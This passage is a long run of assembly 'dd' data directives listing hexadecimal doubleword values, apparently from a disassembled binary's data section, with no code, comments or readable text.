		dd 51006430h, 670661DAh, 875BE914h, 0A050102Ch,	4F82805h
		dd 56892027h, 694E4F68h, 34A2E0BDh, 0F3C987D9h,	45C08960h
		dd 8F125247h, 25BD8ABBh, 29DD0275h, 56F88BCBh, 0AE8F4260h
		dd 0A090780Bh, 1606861h, 0E05B3FEh, 654A0433h, 0A307042Bh
		dd 0DB050060h, 0F762AD30h, 0BE45D2D8h, 131D4AA0h, 0E8A08032h
		dd 11B84BB7h, 0E7968C2h, 0C2A6F059h, 880A7410h,	0F759EAh
		dd 0C0D2F6FAh, 0EEE702E2h, 4FB5CDC0h, 0AC5FF5FCh, 0D30C5419h
		dd 0E196C5E4h, 0F1BE3BB9h, 18C26D7Fh, 0C108D906h, 0D210BAD5h
		dd 0AC3500Eh, 0F7EBCB96h, 5453EB48h, 0E95042B6h, 41AE4E3Fh
		dd 0E4070145h, 7C556418h, 99AD284Eh, 0D4CA01C7h, 540B91D3h
		dd 2CB62A5Ah, 6F00F591h, 0BF4CB017h, 6974EE5Ah,	0F7B969B5h
		dd 0F57037A5h, 2FAA7520h, 7DD65AD3h, 0D22FB50Fh, 55CD05EFh
		dd 43B5BAD7h, 92E1C17Ah, 0BFA37AAEh, 0AB362F79h, 3DFD40A0h
		dd 0D09F1289h, 37C50606h, 0C659A21h, 91436609h,	8E4874Eh
		dd 0E1C20B14h, 5D85CA9Ch, 0E89D8504h, 8BBA3D2Ch, 41EF630h
		dd 0AAEC0B77h, 0B6E95BA3h, 1FA37BFCh, 6F89680Bh, 9102EC66h
		dd 0E908F375h, 514DA4Bh, 413FFBEBh, 43F7EB02h, 0AD306F58h
		dd 68A6C129h, 77B4E225h, 9309FFC2h, 22E9CDC0h, 5BF36A4Fh
		dd 72876298h, 3B2F1D3Eh, 0A60F97F3h, 0E9208BA1h, 0F0E92EF5h
		dd 685F8081h, 6B4F492Ah, 5E655D5Fh, 73FFD6ABh, 21ED8100h
		dd 29026C2Dh, 4A3297D5h, 0D0E90D01h, 4AAA2B9Dh,	0AD8883B6h
		dd 857E887Fh, 5D3DB30Ah, 5B489DA2h, 8099048Eh, 6E829ACDh
		dd 0A0E35D2Eh, 72471225h, 1C4D626Eh, 964830DDh,	0B190AACAh
		dd 56E2044Eh, 127D5A2Eh, 17DF9074h, 604BF098h, 87E24CC7h
		dd 247655B1h, 3F806C43h, 0F590D9B3h, 29277F4Fh,	8A7902F2h
		dd 4F895D5Ah, 0A81495DCh, 0FE87016Ah, 0F86EF681h, 0B89E6D4h
		dd 0C86BE9F2h, 21C2C9D7h, 0BCC1CCFAh, 968045Ch,	9FCBBA45h
		dd 5BAECA5Bh, 1539A1E2h, 2F34B74Bh, 7DBA77B3h, 78FDF440h
		dd 259F8C4Ch, 0A210C359h, 8345D631h, 48B373C3h,	4045E9B0h
		dd 17CE612h, 8A510BAh, 9526787Dh, 0CDF79322h, 73027F0Bh
		dd 0B190A22Dh, 0FB3D28ADh, 0D0109523h, 0BE56016Ah, 67FD6F30h
		dd 0D7D4A47Fh, 121CCA50h, 5C100217h, 7304E7A1h,	0A02AF0ABh
		dd 0B8517F40h, 299A41D7h, 0E0B65EC0h, 84485E03h, 65F2E971h
		dd 5D72F5DCh, 0E916383Eh, 9DD22BBEh, 7FD6A95Dh,	0A8E93668h
		dd 0DD2F429Dh, 962DB347h, 0ADD4B4BCh, 4E2C40D6h, 5433DD02h
		dd 9054C342h, 0BD218917h, 3A982C70h, 0E3354000h, 29A298D9h
		dd 209193C7h, 13BA28E9h, 1DD98EAh, 63564173h, 298E35E9h
		dd 471F781Ah, 0F78E7FB0h, 7E774D1h, 42BC536Dh, 0C0DF161h
		dd 0FC2AC3C5h, 44558D89h, 68122E28h, 0B030EF7Eh, 386D06BEh
		dd 0F2933132h, 51DA015Eh, 21134423h, 0ACD270B9h, 51027FAEh
		dd 93E939B1h, 0A698D52Bh, 0CE9671A1h, 0C9DFC54Bh, 4A063E7Dh
		dd 0B299C141h, 66D7C0A0h, 0EFC05A01h, 0E0C78004h, 41A776C2h
		dd 2F6E9368h, 0BDE0C68Ch, 0C8F197E8h, 0FB9E7726h, 241BA03Bh
		dd 45017A68h, 48E3ACECh, 911E12C0h, 2E2032EEh, 57DD0975h
		dd 54957896h, 2046AA7h,	3A8D2C2Bh, 2DD95AC0h, 95A3B12h
		dd 7E4791AAh, 18E63AE7h, 2262110h, 8979D705h, 66BEA0Fh
		dd 0F4C5307h, 0B491F10h, 0AD42EB28h, 62785464h,	1855B3ABh
		dd 8070AE9Eh, 0A818CA81h, 140D5B54h, 731E2439h,	0F13616F7h
		dd 0CDFD6B84h, 0F17B93DFh, 4B253C12h, 86A25FB9h, 881CCFF8h
		dd 0B7E658C3h, 17AE6B17h, 0FA25C456h, 48B9292Ch, 0CDE6B102h
		dd 483D420h, 95362ABEh,	98C9C413h, 80B82ECDh, 0BA52BD00h
		dd 7B306A7Ah, 189820E9h, 0A2019CF4h, 0CA2987EEh, 0A3204259h
		dd 707112FCh, 0B49F014Fh
		dd 0D8471176h, 3409D1E1h, 0F7410B77h, 0FE800BAEh, 21115F2Dh
		dd 49C40D0h, 26484F4Eh,	20FBCDC2h, 845FAEBh, 5EFA1858h
		dd 3E170FB6h, 0E53A41B9h, 6F5DD361h, 0D1AA1E17h, 3C56E920h
		dd 0D1356B44h, 32B4281h, 80AC675Fh, 9B477BBh, 0AE586EE9h
		dd 13FCD431h, 0B3E456CAh, 0B20A14B4h, 44AE946h,	0CA6C2942h
		dd 29EA4F9Ah, 38EA2BA8h, 4D4E1F4Dh, 40136FE3h, 0C471FDC8h
		dd 0FCA2C924h, 81B76884h, 3BD4C7B3h, 4B6911B3h,	387AC756h
		dd 4A73E90Fh, 5FAD8F0Ch, 0A67AEAF8h, 4B30297h, 96E9DE88h
		dd 0E0576E6Ah, 0BD5B5A86h, 0D5AF31C7h, 0E97A6C9Eh, 17ACB34Dh
		dd 0A8F3499Eh, 0F8C06265h, 0D9B79B9Ah, 32978A76h, 9F71E29h
		dd 0EF909BFAh, 19383032h, 59CB9309h, 0E1E6D0FBh, 0AAD6F976h
		dd 5205F116h, 80C9B14Fh, 6BDEF53Bh, 3A16C18Bh, 50D9BBF8h
		dd 9175BBEDh, 208C0E2Bh, 5F623117h, 96BC3A52h, 450ACF4h
		dd 65C8478Fh, 5040A9C0h, 963D483Fh, 8E83504h, 0D3EAE9A7h
		dd 52ED28FBh, 90E7395h,	515E575Ah, 0DE022987h, 0CB814B50h
		dd 951F180Ah, 37A0C01h,	0F714AA25h, 25AE7CA0h, 93A03777h
		dd 93763672h, 0C390CBBAh, 0B3684B00h, 5A322D3Dh, 51A0775h
		dd 6E981757h, 0D214BF87h, 944366A3h, 0AEA1D58Dh, 0FBD22E8Bh
		dd 0AD4EDB8Bh, 0E265C5BFh, 0DCCC31FFh, 0D6352F10h, 50498BAEh
		dd 2D5BC80Bh, 299260B3h, 0A7943F11h, 3175B0BAh,	20C3F758h
		dd 0BE5F60ACh, 78A57430h, 0D6905D4Eh, 0C8B71D5h, 965FE93Bh
		dd 42FEBF2Ah, 323FB730h, 60ED1A6Ch, 0D1F0C2Ah, 0FFB8F04Ah
		dd 2B1209B5h, 1F4DF0C0h, 0A623F6D4h, 0F20182B0h, 49CB2768h
		dd 0F04B38FAh, 0AACE880Eh, 777E8961h, 18137D00h, 7F96038Ch
		dd 0A006E625h, 553AF503h, 0E097F685h, 0BD2C4081h, 42DB3832h
		dd 0F0E6812h, 0CB81EEA9h, 7C77857Fh, 25E94C0Dh,	82D97992h
		dd 0C9719AC3h, 82C7E4F5h, 4940F708h, 3A1337C8h,	88E0896Ah
		dd 458D4A04h, 0E4874552h, 0E0B312FDh, 167B6885h, 7B6529ABh
		dd 43555970h, 0B55C4BBAh, 0BD5CE6A4h, 0C434FD27h, 0D1629782h
		dd 0CB313048h, 95BE5EEEh, 0C0275426h, 30275400h, 0B00C671Ch
		dd 0D74F5E83h, 403F89E0h, 7EE35B2Ch, 0BC6F3B61h, 0CB425C02h
		dd 5894FEC0h, 5B260B16h, 0EB82352Dh, 50676851h,	84E96348h
		dd 45F65CBAh, 850F1E59h, 9E56AED1h, 0E15EDFA3h,	0FB227B52h
		dd 400F925Dh, 0FE558568h, 26659C13h, 0EA1B30B6h, 8758187Dh
		dd 1BA9171Fh, 168FD18Ch, 0EA151303h, 585391D0h,	0E9670A9Bh
		dd 0AFA472FCh, 0FB89F398h, 0B3464B5h, 29F65CAAh, 69DDE87Dh
		dd 53EE9530h, 3C106829h, 5F4B5C3Ch, 5F1D2DCCh, 8553013h
		dd 2E45CA32h, 7059C930h, 0A86FE195h, 0B252F033h, 0D588003Fh
		dd 281B045Ah, 59E82CE8h, 0F8F3F0EAh, 0EC4E6AE9h, 0F93C2DFEh
		dd 9723C95h, 0C62BD068h, 13071341h, 0EF970066h,	1DFC4A72h
		dd 24D476BDh, 64F700A8h, 31111B82h, 425FF825h, 1C82F455h
		dd 0C47964A0h, 0AD7DFA55h, 1DAFF61h, 2A5EF701h,	0AF993DFDh
		dd 22F7D6EBh, 935BADD1h, 9CD089F6h, 57FFD9CBh, 7DC80905h
		dd 2742D8FEh, 8FD440h, 337735EFh, 0C7782975h, 580842E5h
		dd 6884C445h, 29AA064Bh, 18F33A83h, 77A09450h, 0D01C4B6Fh
		dd 3214140h, 0AA124E5Ah, 0A23DF5E2h, 0EB5E502Fh, 0F1702E02h
		dd 0E3D8D76Fh, 2B5A0881h, 8FCBA5B2h, 40993396h,	0B61EE961h
		dd 0B5048104h, 0E1BC05BCh, 4FAAC079h, 68098B3Eh, 76FC3EFDh
		dd 0C16E44DCh, 344EC47h, 2E4DF281h, 0A1E29CFCh,	2A2C0496h
		dd 95F0151h, 92E41C4Fh,	29E19AAFh, 3EA8C229h, 0AC663C16h
		dd 0A6CA9FAh, 85C60096h, 5A64FE0Ah, 0BB2BA8A8h,	9FE09AF7h
		dd 75368B64h, 0F20D5CCh, 8F5A9DB3h, 11B84025h, 57E44195h
		dd 5BC8BD81h, 0B981C8C2h, 4AD448DCh, 481AF3Ah, 68D5AA6Fh
		dd 0ECC7862Ah, 5E04D2EBh, 7A373DAAh, 498456E8h,	0C1800377h
		dd 61C8823Eh, 68005A4Eh, 229C3587h, 4200C2AEh, 2DE0D192h
		dd 6A1A12FEh, 6F16016Bh, 3F4FC43Ch, 805A2F5h, 0D39671EEh
		dd 60550244h, 177A42B8h, 359432Eh, 7B1D71B9h, 0B540EE17h
		dd 4E95B53h, 2AAE09A1h,	449231ABh, 0ADEC6B78h, 11F8E189h
		dd 1E2C894h, 854EFDCBh,	0C841D5Eh, 0A5FD69ABh, 0A647D532h
		dd 91B6E984h, 1251DDD8h, 760253h, 0DC0E99E9h, 580B2D5Ah
		dd 337B12h, 151F4D0Eh, 14D8BF2Ah, 9047F227h, 9D2BB243h
		dd 0F41B742h, 26C282Ch,	8C7A6DBAh, 0E434E016h, 0F3455C02h
		dd 0BADC7E12h, 79765539h, 1850D295h, 508CA4E5h,	4106BFD7h
		dd 0EAAD2FD3h, 18763486h, 0A73F7B95h, 2250EFE0h, 16DEEB88h
		dd 123B726h, 37252B06h,	0DAA13F61h, 53D61431h, 64499C01h
		dd 550901A4h, 3F5A39C9h, 4C545604h, 24C1EE12h, 0BC2A75F3h
		dd 0F8EAC900h, 0E25C95CDh, 737E9556h, 0D9639BAFh, 588DB65Dh
		dd 40ACEFB9h, 3542F15Bh, 50403405h, 4C9566E9h, 10E87181h
		dd 0C37C24E4h, 205F2912h, 292190C1h, 0CFED034Dh, 0E17CDD02h
		dd 53749A9Fh, 68F70A04h, 6BF42E14h, 0B22D0CFAh,	2F4FD142h
		dd 2F84965Dh, 36DFA15Eh, 0E09A5A15h, 0CEBDBE7Ah, 4F3901D9h
		dd 22E928D5h, 0F51B8F37h, 418C8088h, 6006EDC1h,	40E4BA4Dh
		dd 0F897D6A1h, 13A39826h, 493B83E9h, 470657D4h,	0FE160EAFh
		dd 0EB0E66C7h, 0A4D70FC2h, 0E4B88A13h, 15CA4E90h, 89539DDEh
		dd 0EB566023h, 0D02D686Bh, 64179F02h, 2675C425h, 619CE61Eh
		dd 7E5AD121h, 5A1F94B4h, 57CE2093h, 58B741BAh, 0CA5EB799h
		dd 0CDDADD5Ah, 689F88FEh, 70BCBA2Eh, 5C01E4EEh,	40C1AEFAh
		dd 0ED6F1E76h, 0E2CD6E54h, 0D45A0C02h, 0D9699A22h, 1847FB80h
		dd 0F29523DEh, 34C20187h, 1759122h, 678F41CAh, 55756F0Ch
		dd 91EEE3EFh, 0B5680E05h, 8EEA1331h, 2AC44171h,	68A027A8h
		dd 0E2BE188Fh, 45279090h, 963CC776h, 65AFC4A6h,	9F82EB8Fh
		dd 18558D2h, 8852DDF6h,	0D1C6FEEEh, 212130F5h, 0FCBFAD70h
		dd 11B954DAh, 41FA92AFh, 0C1049B27h, 6ACB8773h,	3D3ACEC6h
		dd 9F8DBE1Ch, 0C59482E9h, 2A78FE4Bh, 34A8A4A1h,	0D373F711h
		dd 1B0132CEh, 0A1B630Bh, 2DF85D46h, 5FC14E0h, 0DD4FA925h
		dd 7A551BE1h, 0DDE7C11Dh, 827F6E22h, 35C1535Fh,	0C9F6AD07h
		dd 0E90DDC53h, 5050446h, 791F2F4Ch, 72DA90Ah, 0D3CD5E13h
		dd 9DD6E230h, 30715974h, 56D6ED0h, 0E9FFEB83h, 95E04041h
		dd 2C66055Dh, 136F84Ch,	0E9D32DD0h, 0FC6F089Eh,	0EECA10E8h
		dd 4CF6F95Bh, 2ADB0724h, 3EF226A4h, 0B3BBAE2h, 365D5CEh
		dd 964DAA2Dh, 531A4E19h, 25107030h, 965F41DDh, 80CB0BDFh
		dd 6E805222h, 275A6DF3h, 470C4060h, 8020970Fh, 452F6934h
		dd 0E5245756h, 1AE1E85Dh, 616B27D2h, 0E5DC75ACh, 9DB5F81Ah
		dd 8FFC548Bh, 173DAC74h, 9E9F766h, 54F63648h, 8D6A64CFh
		dd 0B89705ACh, 78CF1F65h, 0DE605A0Eh, 36561043h, 3A6A0F2Dh
		dd 0E9444369h, 258DFCDEh, 6B47F559h, 9BD04B89h,	51E23D5Eh
		dd 935CD4AEh, 7AF8BD2Dh, 66AD362Eh, 0F98B50CFh,	1E79AA06h
		dd 60CB6813h, 0B3601DCDh, 4934114Eh, 4F580E6Eh,	0FD047648h
		dd 5A0E7A0Ch, 0C934FC32h, 64E398DAh, 2451B088h,	0A8A07235h
		dd 12504FF1h, 0E33DBAC4h, 7F6F1840h, 0DC624CB9h, 1066D28h
		dd 0AD3DFAC7h, 2ADF011Ah, 0BBC07FE8h, 0E911D47Eh, 7AD0165Bh
		dd 27982CF1h, 0F4DE4447h, 778B5C09h, 740B3BC4h,	0F55D0C7Eh
		dd 5390CF6Ch, 48A1195Eh
		dd 26168D6Fh, 725B2FA8h, 0C1ED20A6h, 4522B8C1h,	4FEC3149h
		dd 8917DDF1h, 99E8A809h, 0CD3935Bh, 0F63640FBh,	457105F1h
		dd 0AF4B6EB0h, 3A09A141h, 0EAD83D06h, 0F96F13F3h, 85C4B937h
		dd 3DD7D1CCh, 70366F87h, 0B66D4E60h, 0D5BC4F64h, 8B87F1C4h
		dd 10531225h, 131157A3h, 8D095AADh, 2588DE0Ch, 0B9E9E853h
		dd 0FE3C9CDAh, 4370BA5Ah, 0BE2A5468h, 18176077h, 0A1A057E3h
		dd 522821C1h, 0E80CFD77h, 0B0A7AB75h, 0A020EC9Ah, 916A89A7h
		dd 141D0214h, 0B0007211h, 1B6D32A7h, 345BD929h,	0FCE18AA3h
		dd 8B75FEE9h, 2DBBEF2Bh, 0CE9F6078h, 6D459F16h,	0E6956809h
		dd 86BC80ECh, 0D1DC46Eh, 5C99BF63h, 4B9F08E4h, 4520CD79h
		dd 1298051Fh, 11FA20BEh, 0AD4F9514h, 0C06A95F1h, 9E4CB6EDh
		dd 42C02F41h, 0F2734C04h, 80B7E220h, 0F23A5609h, 0EB014B65h
		dd 9057A28h, 5F5E7BAEh,	0C0E97402h, 0C629F6C8h,	0F99606EEh
		dd 5BF80407h, 0D80EFC3Fh, 0B281962Ch, 0D12270A3h, 1662AA97h
		dd 104A75EFh, 0E3BE417Fh, 0F719B63Ch, 71C104D8h, 4948FC3Bh
		dd 442AF3Bh, 734B0C07h,	886AA6F1h, 9040CDFEh, 202F0F68h
		dd 0DD454A6Dh, 99406756h, 9352D102h, 4F286801h,	0F0CE953Ah
		dd 48ECAD3Fh, 4B00AB94h, 4CC66850h, 4BEDB8F8h, 6E95F1C0h
		dd 871289B7h, 0FCA3AAE1h, 4DD1AA4Ah, 0F6F8EC80h, 5304C1D4h
		dd 0ECCFB652h, 0DEF64EEEh, 900EC6EAh, 95AF388h,	0F00F8EDCh
		dd 0A1E710h, 162D8CB9h,	1AB2BF4Ch, 0D4B510F5h, 4A46A5Fh
		dd 1CC2509Eh, 6268D4B4h, 0DD53D9DBh, 650394AFh,	0BBFEB133h
		dd 0A5E00ED5h, 888440AFh, 1AD0EB4Ch, 5F10AAF8h,	0BF7B4E02h
		dd 0F40F8F52h, 651CAB41h, 2EA50A1Ah, 3101BCD9h,	2AC9F4DAh
		dd 0E26F649Eh, 622F967Bh, 93A9DD12h, 1B15B582h,	54979E66h
		dd 41D301A4h, 2A05BEEEh, 275AAFCh, 2B586A51h, 0E840E829h
		dd 0C406048Dh, 7708E939h, 0CCEE129Dh, 0ACA417B9h, 7A052D3Dh
		dd 893C9940h, 64793F8Fh, 5CEE253Ch, 6AEDCE55h, 0BD817B21h
		dd 0E37B8014h, 11BA02EEh, 5539EA76h, 7582BDD4h,	7680F04Ch
		dd 4BD62D42h, 41AAF387h, 0E8074404h, 0E982003Ch, 30809234h
		dd 0E55850E5h, 316F4187h, 67093F30h, 5660C114h,	0C640A43Ah
		dd 603E294Ch, 5AE95ECBh, 73BD8608h, 5C52AC4Fh, 62E95C0Bh
		dd 0EE5DD88h, 86BE77AFh, 5A223DA4h, 0F57FED6Eh,	44D888ECh
		dd 4BBB017Ah, 0E8469C65h, 0FB9F6AE8h, 864C0B28h, 5E43945Dh
		dd 0EAB0C518h, 0AAD297A7h, 0BA9644F3h, 855BF62Bh, 0F22800B1h
		dd 0B9542D68h, 6E59B504h, 0F0EE3120h, 60B7053Bh, 5F6628D0h
		dd 10A4A988h, 523CBD69h, 0D093FABDh, 42CA85Ah, 49257317h
		dd 0AC081624h, 2C3B129h, 5AEBCF2Ah, 0A72A31FAh,	0B7D03B6Dh
		dd 4F9475B6h, 1888B83Bh, 0B81A70CAh, 0EC7B00EDh, 6AD00D20h
		dd 40045936h, 3D782F35h, 7877BF82h, 55D07A0h, 21934617h
		dd 412DF801h, 3EBE5607h, 0BD95DD7h, 49C959A3h, 0D358DD7Ch
		dd 0D95F8191h, 59FF249Eh, 7E56FE3h, 250EBC2Eh, 9797665Dh
		dd 0F5E31855h, 0FA90956Dh, 1B581168h, 0DD52C99Eh, 4E8E7F6Ah
		dd 0AABB85E5h, 39813731h, 6023EB07h, 2E64DFBCh,	93A9C810h
		dd 10E9C893h, 8938A97h,	0A931294Fh, 0C1C563F0h,	0FE6662DEh
		dd 1AF5FC2Dh, 0A5EA850Bh, 257E7888h, 0E956F214h, 2F5E893Bh
		dd 3F030059h, 0EC3A5148h, 304670CBh, 6E1830AFh,	0D895D428h
		dd 276B0CDEh, 550C3562h, 0B76AF3Fh, 5F912FE9h, 729017E6h
		dd 1B3A2701h, 5DEE2943h, 1BDF53Eh, 7B875B0Bh, 49FEAC53h
		dd 587B04DEh, 7A2650A6h, 0D4130502h, 9AF65D79h,	0BEC9A6h
		dd 36A17E34h, 24E9C289h, 78014B3Dh, 8B95ED83h, 89BE4235h
		dd 1EC5D51Bh, 0B31675C9h, 70F82FAEh, 0BE250BAEh, 8912786h
		dd 171661EEh, 0C06FA7E5h, 2998212Ah, 826BDA9Fh,	4B6AF108h
		dd 8B3B12DFh, 4BE4F01Ah, 518AAF5Eh, 146BDD84h, 2DA30271h
		dd 5F4F2C3Dh, 4B613EAEh, 82029807h, 0B520E990h,	0AB48E13Ah
		dd 4E7D5F74h, 64D98C4Bh, 35C0940h, 553AEA81h, 0C2927201h
		dd 220FF980h, 0E5FC4A43h, 23275898h, 0FFAF0034h, 0F42D4D41h
		dd 434513ABh, 0B8DE5730h, 0E9CA8165h, 0D72BE871h, 0DFC57234h
		dd 5C517551h, 0C4C5BC6Fh, 5DBF607Fh, 0C8DAE729h, 0D4E90CD3h
		dd 317D013Eh, 0F4E5D51Fh, 5B2BC823h, 0F6626B90h, 58DE890Fh
		dd 4FF1768Dh, 9267F3CFh, 29174BAh, 581D68DDh, 265527Ch
		dd 533FF1F1h, 2D1A2B21h, 0ECF3585Ch, 4BF4967Fh,	307D165Fh
		dd 5822F736h, 0E4FBEB80h, 0C89DBAD9h, 2E6802BFh, 0C921550Ch
		dd 4243C712h, 626CDCFAh, 745BF00h, 0C7837D22h, 0C1C9001h
		dd 325F4DD8h, 1E250B0Ch, 2516F4E0h, 749FD050h, 2969C77Bh
		dd 5F3A96F5h, 0AC07C0D7h, 46E4BF2Ch, 0D828FCE9h, 0A26BCFFh
		dd 5569C768h, 0FEA7B380h, 1DDBF6C3h, 0F9ECCB80h, 439ABDBh
		dd 0D07F9C09h, 8042B66Fh, 2873C30Ah, 0CB3A8EF3h, 7D90CBEEh
		dd 0B753FA0Eh, 0BCC7C3BDh, 9F0A9EFEh, 0B05F8307h, 0CF286FC1h
		dd 0B74FABB0h, 0E61D851Eh, 0AC4043D3h, 334EE781h, 0E8225B89h
		dd 0B2D2FC6h, 0F4B2F7DBh, 28D322CCh, 0C612C9E8h, 40BDF5ADh
		dd 75053C97h, 0C1815200h, 0E38D23FDh, 0E9CF1331h, 5ABA82F5h
		dd 7AC1EF63h, 48887A26h, 0BF961F0Fh, 0FAED0BB1h, 2D32CE55h
		dd 0F694AF14h, 5411B954h, 82D12568h, 6E362905h,	85D50BAh
		dd 8058E912h, 10AEBDC6h, 0DD644F25h, 9E67C610h,	0C9C8D39Fh
		dd 0E20B149Bh, 5A5334h,	0C7E9D911h, 521AC767h, 85D5BB56h
		dd 0D1FC5E79h, 0AFAC6B8Ah, 0EF07FDD4h, 1B5858Ah, 5FE0E7BBh
		dd 12F756A4h, 0D68626Fh, 0C2E90A4Eh, 0C8D390A5h, 7BFF485Fh
		dd 6AC22E24h, 9F8209A8h, 5D096B8Ch, 86342999h, 668E6843h
		dd 335D3057h, 0A4DEB9Dh, 76093125h, 0B3A20976h,	68132464h
		dd 0AC331483h, 0B83E118Fh, 0DEED2517h, 93494549h, 68D05122h
		dd 87A10E5Ch, 0AFB02B5Bh, 2273007Dh, 46B85037h,	1E001331h
		dd 3664F805h, 4484029h,	0CF79182Dh, 0A187C632h,	0C4F45B5Bh
		dd 0FAAB4F49h, 4C051638h, 52C7637Ch, 3477A1BAh,	5EDD301Fh
		dd 0EDB7E21Fh, 2C01D7EFh, 84DC7499h, 0CC507CC1h, 0EC4894FEh
		dd 0A2BEF5BEh, 0B3F74AC5h, 8A8572Eh, 8100B4B7h,	0AF1DA8CEh
		dd 0A54E580Ch, 705D5C0Bh, 0A469B382h, 0FC091C7Dh, 0BF9F4B3Fh
		dd 0EBC1C1D1h, 1E37C60h, 186A0911h, 3AA160E9h, 578967E3h
		dd 0E02B15Eh, 4923CD1Eh, 732890ECh, 38709725h, 12B72A39h
		dd 0E50529B0h, 4CA7629Ah, 2078A84Ah, 1EBB01D3h,	0F778983Eh
		dd 6D8B86DBh, 0B00C72F0h, 5D1430F9h, 6BCCE91Ch,	62F64DC0h
		dd 0C336630Fh, 9EB835FAh, 0B67401D2h, 0D0CD4027h, 0EA405C5Ah
		dd 2C54C302h, 0C8FF05F6h, 4F7DE977h, 3780B484h,	0E5B0240h
		dd 9D585E05h, 41EA657h,	285A5C9Ah, 97D1B8BAh, 8716ADA8h
		dd 397008EBh, 0FD885764h, 7C6759AEh, 0AF3ACA84h, 8D76D931h
		dd 908B5802h, 0E7A70FFCh, 54B1A708h, 99440921h,	0E77DACBEh
		dd 8959FB4Bh, 3EF75A54h, 42242096h, 3EC7664Fh, 5C93C14Ah
		dd 0F24281AEh, 0D1CACCE1h, 0FE5CEAECh, 81564D6Eh, 88FFB252h
		dd 5BEF1120h, 5692449Dh, 0FF8412F1h, 498AF7EEh,	16CE90D0h
		dd 0CE276AFAh, 55162672h, 0D051C01Ah, 0A7F8174Eh, 0B6521272h
		dd 1081F875h, 5A24F4ADh, 61F42FDBh, 91BC16BEh, 0D6E3C8AAh
		dd 68299E61h, 8C3E1F8Ch, 0CB5C8804h, 173034C9h,	4A09FF1Eh
		dd 587BA2B8h, 345777Fh
		dd 8042DF6Bh, 5C5173F6h, 0F20A8C7Ah, 0E045B062h, 18686051h
		dd 2BCE0033h, 0D8698C0Dh, 48E6F71Ch, 0A67B3502h, 0E189D05Dh
		dd 17BCD72h, 3E6C01Dh, 0BEECE750h, 50E2A312h, 13621984h
		dd 95EEFBCCh, 0E916B172h, 2428C042h, 68500F57h,	63410F22h
		dd 8E2F4CE9h, 4FC8FE18h, 0C37424C0h, 234744ABh,	0AE5C0CB4h
		dd 9B393F35h, 0FEF4A8h,	536F3C25h, 796EF181h, 2562A2Fh
		dd 56B06DE8h, 2BECA16h,	49933BB7h, 26D6E380h, 0E090767Ch
		dd 0BACA465Ah, 0E2C5314Bh, 67E96B65h, 0F357F2C6h, 2B3AE607h
		dd 70B22D69h, 90D9DD8Bh, 7D9E8F15h, 13C5D425h, 6B0DE83Eh
		dd 0D7024CBDh, 94F5C300h, 5F53FD42h, 9C8930B7h,	0A2A582C2h
		dd 5CD0BAE1h, 7AB806C7h, 36472543h, 0AE27BC5Ah,	2FAAC617h
		dd 0A91826CAh, 4427014Eh, 9674890Bh, 11E91614h,	0C0B4E898h
		dd 5C282E78h, 12CD7E81h, 0B457635Dh, 724115E5h,	2C92C700h
		dd 0BC4A4A8Dh, 0EB6D1F4Eh, 500AE9C9h, 0BD550F47h, 4BEF0E2Fh
		dd 0E7786565h, 685504A7h, 0F1E34A1Fh, 0FDF89A1Ah, 483980DDh
		dd 0E7CF476h, 338632Dh,	11F00165h, 0DD4808E8h, 5B505E0Bh
		dd 535ED3C6h, 49FBB6A4h, 0F2024A6Ch, 15492DD4h,	76B78A55h
		dd 0F8A0B013h, 1A1703BAh, 0D2F72A2Bh, 3724BE7Bh, 2215FC26h
		dd 0B94821h, 0C30551DBh, 2C19340Dh, 9B6D029h, 45F79B11h
		dd 0EF5C929Eh, 122B0FA5h, 111EFC10h, 73186D9Dh,	0C7F30A3Ah
		dd 68157862h, 53617E25h, 5CFDBEF0h, 33EE24C2h, 0E6BB610Ah
		dd 0D9311206h, 0DE2D0B4Ah, 0D99889FAh, 0D812B31Ah, 303AF0E7h
		dd 209DE0E9h, 21DFC708h, 0B1C5C19h, 5D2EC10h, 4BC6055Eh
		dd 0B42D7880h, 42BF3A37h, 3B0EDC8Bh, 0E3562DFh,	5011B407h
		dd 0D2FB92C0h, 0F51E13E0h, 0EF814FC0h, 5B270CB5h, 5810AF1Ah
		dd 29AE4A08h, 0A4C17B68h, 8D6623C5h, 48B2B010h,	0DE3D2DFAh
		dd 0AA509293h, 0A89A7261h, 0F5A1CC2Eh, 5C63D44h, 0B71492BBh
		dd 9D960046h, 8360F47Fh, 0E91201ECh, 0BB5FA785h, 6B54ECEFh
		dd 3AFD03FFh, 0ACEA80E1h, 23F51BE6h, 5602DF01h,	57BF78E9h
		dd 625B4376h, 704B9E74h, 0B303B0F7h, 0E9188635h, 0EEC18AC1h
		dd 3AAD1EB9h, 0EF51C902h, 2BB34F10h, 0D81E7427h, 235F03C5h
		dd 58E96BD4h, 0D21DF99Dh, 0F5FC7D57h, 9DA2ABF5h, 9A4EF2Ah
		dd 37456858h, 0BFE398F5h, 277D0049h, 1FE78113h,	0E122C1Bh
		dd 7EA899E9h, 4EED5B30h, 239D2391h, 851AB166h, 1F698EBh
		dd 5D20FFB0h, 880B599h,	0BF3D610Eh, 9EF1CF00h, 0E9C701C2h
		dd 5D186D27h, 50D1CE0Ch, 1782968Eh, 2C6B6DEEh, 11A94A62h
		dd 5775C5F1h, 3F63B1ABh, 0F0893102h, 140DA0AFh,	0BFCB21C7h
		dd 0BC1F6BE8h, 0D7F743BBh, 5A980B48h, 0A26E04F1h, 5B77D498h
		dd 502EE42Fh, 82F5C97Eh, 4D134Fh, 0A63192Dh, 0FAFA74Eh
		dd 3AEECAF8h, 0BB3F37D6h, 962B3238h, 0CBEF3FB9h, 2758D47Dh
		dd 2D5ED8B2h, 2F7774C3h, 39D7E135h, 7920537Fh, 83D96492h
		dd 0BFC3C4E0h, 0A2AA70D5h, 2E9C55Ch, 0EC5593F0h, 51216107h
		dd 2AED81FDh, 531E78F8h, 842709BBh, 0E6B280F5h,	4513E20Fh
		dd 0E989CC29h, 6095D77Ah, 25685FDCh, 85514921h,	1E98DD4Bh
		dd 0C65BA2E9h, 7BED2DFEh, 5BB47CC4h, 0C19A4140h, 600828F9h
		dd 4205B824h, 40D2E319h, 6B30D1DFh, 5024168h, 2801AB51h
		dd 0DDCC5BFDh, 1EC53B80h, 136F5D7Eh, 6B36AE4Bh,	0F7DAB5F4h
		dd 1D4AB0E6h, 0E900ADA3h, 813EEB2Ah, 631238CAh,	0FF012BA3h
		dd 1E5379BCh, 3288BE30h, 0E662C412h, 3A5E51E9h,	7BC538F7h
		dd 1953529h, 616F1539h,	0A667707Fh, 0C316E891h,	0CCE356AEh
		dd 8B972136h, 0DAC77D9Eh, 3059EE89h, 5DE1686Bh,	7B8E5770h
		dd 4D37F0Eh, 0F6605CECh, 0E23E547Eh, 8BEBB94Ah,	0A52F7EF1h
